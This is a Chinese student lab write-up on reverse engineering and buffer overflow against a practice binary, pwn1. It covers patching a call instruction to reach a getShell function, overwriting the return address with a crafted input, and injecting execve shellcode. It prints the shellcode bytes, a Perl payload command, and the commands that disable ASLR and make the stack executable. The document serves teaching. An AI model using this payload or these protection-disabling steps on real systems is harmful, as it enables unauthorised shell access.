20145236《网络对抗》Exp 1逆向及Bof基础

一、实践目标

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

二、基础知识及实践准备

  1. 理解EIP寄存器及其功能

    1. IP是指令寄存器,存放当前指令的下一条指令的地址。
    2. CPU该执行哪条指令就是通过IP来指示的。
    3. EIP是32位机的指令寄存器。
  2. 理解汇编语言中call指令的功能

    具体可参考此博客:汇编语言call和ret指令的具体执行
  3. 关于缓冲区溢出攻击

    缓冲区溢出攻击这个名词想必大家都不陌生,但是具体的应用大多数人却是第一次做,在此找到了一篇博客,可以加深对于缓冲区溢出的理解:缓冲区溢出攻击

简单来说,call和ret指令都是转移指令,它们都修改IP,或同时修改CS和IP。

调用call指令时, 把call指令的下一个指令放入堆栈, 调用ret时, 用堆栈保存的地址返回。

三、基础知识:Linux常用指令

管道命令
  • 管道就是将输出在标准输出中的信息一次次处理最终打印在标准输出中,所以管道命令必须是接受标准输出的命令,cpmvls都不是管道命令。
  • 用法: command 1 | command 2,它的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2。
  • 举例:
    • ls -l | more:该命令列出当前目录中的任何文档,并把输出送给more命令作为输入,more命令分页显示文件列表。
重定向操作符
  • >:将命令输出写入文件或设备,而不是命令提示符或句柄
  • <:从文件而不是从键盘或句柄读入命令输入
  • >>:将命令输出添加到文件末尾而不删除文件中已有的信息
  • >&:将一个句柄的输出写入到另一个句柄的输入中
  • <&:从一个句柄读取输入并将其写入到另一个句柄输出中
常用汇编指令及寄存器的作用
  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
  • EAX:通用寄存器。相对其他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)
  • EBX:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。
  • ECX:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。
  • EDX:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。
  • ESI:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。
  • EDI:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。
  • EBP:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧'来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。

四、实验步骤

一、直接修改程序机器指令,改变程序执行流程

1.将下载好的pwn1文件进行试运行和反汇编:

  • 可以看出,pwn1是个实现了对输入的内容进行回显的可执行文件

2.使用指令objdump -d 20145215 | more对目标文件进行反汇编,查看反汇编代码:

  • 程序正常运行时是不会执行getShell函数的,而我们的目的就是想让程序调用getShell,因此就要想办法让call指令跳转到getShell的起始地址执行,只要修d7fffffgetShell-80484ba对应的补码就行。用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff

3.对可执行文件进行修改,先输入指令vi pwn1,用vim编辑器查看可执行文件pwn1;接着输入:%!xxd,将显示模式切换为16进制模式;输入/e8 d7查找要修改的内容:



i键将模式改为插入模式,修改d7c3;输入:%!xxd -r转换16进制为原格式,然后存盘退出。

4.再次查看反汇编代码

  • 可以看出,这里的call函数使程序跳转到了getshell函数

5.运行下改后的代码,得到了shell提示符:

二、通过构造输入参数,造成BOF攻击,改变程序执行流

1.通过对foo函数进行分析,可以发现系统只预留了一定字节的缓冲区,超出部分会造成溢出,因此这个函数存在BOF漏洞,而我们的目标就是覆盖它的返回地址。

  • 首先尝试用gdb调试

  • 进过尝试发现,当输入达到28字节时产生溢出Segmentation fault

2.输入1111111122222222333333334444444455555555,观察寄存器数值

3.发现eip为0x35353535,查ASCLL表发现是5555。eip寄存器的功能就是保存程序下一步要执行指令的地址,可以看出本来应返回到foo函数的返回地址已被"5555"覆盖

  • 通过将55555555换成12345678,再观察eip值找出谁被覆盖,通过查表可知为1234

4.确认getshell地址的字节序列0804847d如何组合

  • 通过设置断点查看0804847d的顺序,在0804049d处设置断点,通过查看之后的eip值,eip值不变,对比之前 eip 0x34333231 0x34333231 ,通过查表查出为4321,可以确定getshell字符序列应该是11111111222222223333333344444444\x7d\x84\x04\x08

  • 码表如下:

5.生成字符串

  • 我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

    Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。

    使用输出重定向>将perl生成的字符串存储到文件input中。可以使用16进制xxd查看指令查看input文件的内容是否如预期。

6.跳转getshell

  • 将input的输入,通过管道符“|”,作为pwn1的输入

三、 注入Shellcode并执行

1.准备一段Shellcode代码

2.为了之后能够看到反汇编的结果,这次采用的静态编译。正常返回shell。

  • 经过一系列的工作我们可以得到这段注入的shellcode代码的反汇编结果(这些代码可以在网上下载)。

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

3.搭建环境

  • 首先使用apt-get install execstack命令安装execstack
  • 修改以下设置:
root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0



4.我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1):

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
  • 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

    特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

  • 接下来确定\x4\x3\x2\x1部分到底需要填什么。

5.打开一个终端注入这段攻击buf:(运行之后先不输入回车,在后面的调试过程中需要继续运行的时候再回车)

6.再开另外一个终端,用gdb来调试pwn1这个进程。(找到pwn1的进程号是1878)

  • 启动gdb调试这个进程:

7.通过设置断点,来查看注入buf的内存地址

8.使用break *0x080484ae设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。

9.再返回调试终端,使用info r esp查找地址。使用x/16x 0xffffd33c查看其存放内容,看到了0xf7f9c920,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340

10.接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可:

11.WOW成功了!!!

四、实验总结

  • 本次实践是我第一次体会到BOF攻击的效果,之前都是理论的学习,知道有这么一个漏洞,但缺少实践的训练。此次通过特殊构造的“pwn1”文件,利用2种不同的方法,达到了获取shell的目的,还是很有趣的。
  • 在动手实践之前一定要仔细的先把老师给的实验指导书看一遍避免入坑。在操作的时候一定先弄懂每一步的目的,先理解,再体会。

20145236《网络对抗》Exp1 逆向及Bof基础的更多相关文章

  1. 20145308 《网络对抗》 逆向及BOF基础实践 学习总结

    20145308 <网络对抗> 逆向及BOF基础实践 学习总结 实践目的 通过两种方法,实现程序能够运行原本并不会被运行的代码 实践原理 利用foo函数的Bof漏洞,构造一个攻击输入字符串 ...

  2. 20155305乔磊《网络对抗》逆向及Bof基础

    20155305乔磊<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何 ...

  3. 20155311高梓云《网络对抗》逆向及Bof基础

    20155311高梓云<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...

  4. 20155334 曹翔 《网络对抗》逆向及Bof基础

    20155334 曹翔 <网络对抗>逆向及Bof基础 实践目标: 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...

  5. 20145215卢肖明《网络对抗》逆向及Bof基础

    20145215卢肖明<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...

  6. 20145206邹京儒《网络对抗》逆向及Bof基础实践

    20145206邹京儒<网络对抗>逆向及Bof基础实践 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:ma ...

  7. 20145216《网络对抗》逆向及BOF基础实践

    20145216<网络对抗>逆向及BOF基础实践 1 逆向及Bof基础实践说明 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函 ...

  8. 20145304 网络对抗技术 逆向与Bof基础

    20145304 网络对抗技术 逆向与Bof基础 实践目标 学习以下两种方法,运行正常情况下不会被运行的代码: 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的 ...

  9. 20145317 网络对抗技术 逆向与Bof基础

    20145317 网络对抗技术 逆向与Bof基础 实践要求 1. 掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码 2. 掌握反汇编与十六进制编程器 3. 能正确修改机器指令改变程序执行流程 ...

  10. 20145327 《网络对抗》逆向及BOF基础实践

    20145327 <网络对抗>逆向及BOF基础实践 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...

随机推荐

  1. RocketMQ 消息发送

    消息发送基本流程: 1.消息验证 验证主题(topic),消息体不能为空和大小不能超过4M. 2.路由查找 a.查看缓存,是否有topic的路由信息. b.如果没有则到NameServer中获取路由信 ...

  2. NIO学习笔记五:Buffer 的使用

    Java NIO中的Buffer用于和NIO通道进行交互.数据是从通道读入缓冲区,从缓冲区写入到通道中. 缓冲区本质上是一块可以写入数据,然后可以从中读取数据的内存.这块内存被包装成NIO Buffe ...

  3. 'QuerySet' object has no attribute '_meta'

    'QuerySet' object has no attribute '_meta' 对象列表没有'_meta'属性 单独的对象才有, 忘记加first了 edit_obj = models.Role ...

  4. CSS 水平居中和垂直居中

    1.水平居中——行内元素 text-align: center; 2.水平居中——定宽块状元素 margin: auto,满足定宽和块状两个条件的元素是可以通过设置“左右margin”值为“auto” ...

  5. cf900D. Unusual Sequences(容斥 莫比乌斯反演)

    题意 题目链接 Sol 首先若y % x不为0则答案为0 否则,问题可以转化为,有多少个数列满足和为y/x,且整个序列的gcd=1 考虑容斥,设\(g[i]\)表示满足和为\(i\)的序列的方案数,显 ...

  6. 【代码笔记】iOS-二维码

    一,工程图. 二,代码. ViewController.m #import "ViewController.h" #import "ScanViewController. ...

  7. 【代码笔记】iOS-导航条的标题(label)

    一,效果图. 二,代码. - (void)viewDidLoad { [super viewDidLoad]; // Do any additional setup after loading the ...

  8. 实现卡片效果【DIV+CSS3】

    一.文字卡片效果 <html> <head> meta<charset="utf-8"> <title>文字卡片效果</tit ...

  9. dubbo 图片服务器(FastDFS) redis solr ActiveMQ等简单配置使用

    一.dubbo 项目基于soa的架构,表现层和服务层是不同的工程.所以要实现商品列表查询需要两个系统之间进行通信. 1.1如何实现远程通信? 1.Webservice:效率不高基于soap协议.项目中 ...

  10. 安卓基础之Get方式发送http请求

    本文参考作者:超超boy 链接:https://www.cnblogs.com/jycboy/p/post01.html 一.在android用Get方式发送http请求,使用的是java标准类. 主 ...